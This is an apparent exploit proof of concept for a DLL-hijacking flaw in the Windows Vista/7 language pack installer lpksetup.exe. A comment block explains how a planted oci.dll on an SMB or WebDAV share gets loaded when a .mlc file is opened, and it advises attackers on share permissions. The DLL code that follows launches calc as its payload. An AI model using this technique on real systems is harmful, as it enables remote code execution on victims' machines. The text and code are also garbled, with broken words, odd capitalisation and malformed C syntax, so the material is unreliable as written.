/*
Exploit: Windows Vista/7 lpksetup.exe (oci. dll) DLL Hijacking
Vulnerability
Extension:. mlc
Author: Taylor Borland (tborland1@gmail.com)
Date: 10/20/2010
Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
Windows 7 Enterprise shoshould be vulnerable as well)
Effect: Remote Code Execution
Lpksetup is the language pack installer that is already ded by default
Windows Vista/7 Ultimate or Enterprise editions. By opening a. mlc file
Through something like an open SMB or WebDav share, the oci. dll file will be
Grabbed and ran in the context of the vulnerable application.
This is a LoadLibrary () load path bug. The load library search order is:
1. The directory from which the application loaded
2. 32-bit System directory (WindowsSystem32)
3. 16-bit System directory (WindowsSystem)
4. Windows directory (Windows)
5. Current working directory
6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci. dll does not exist, so if
A full path is not supplied when calling the dll or the search path has not
Been cleared before the call, we will hit our own th search path and load
Library from the remote filesystem.
Interestingly enough, while lpksetup is blocked for execution by UAC under
Normal user, the injected library (payload) will still execute.
Exploiters make sure your systems security policy, secpol. msc, allows
Complete anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:
Http://www.binaryplanting.com/attackVectors.htm
*/
# Include <windows. h>
Int main ()
{
WinExec ("calc", SW_NORMAL); // the typical non-lethal PoC
Exit (0 );
Return 0;
}
Bool winapi DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
Main ();
Return 0;
}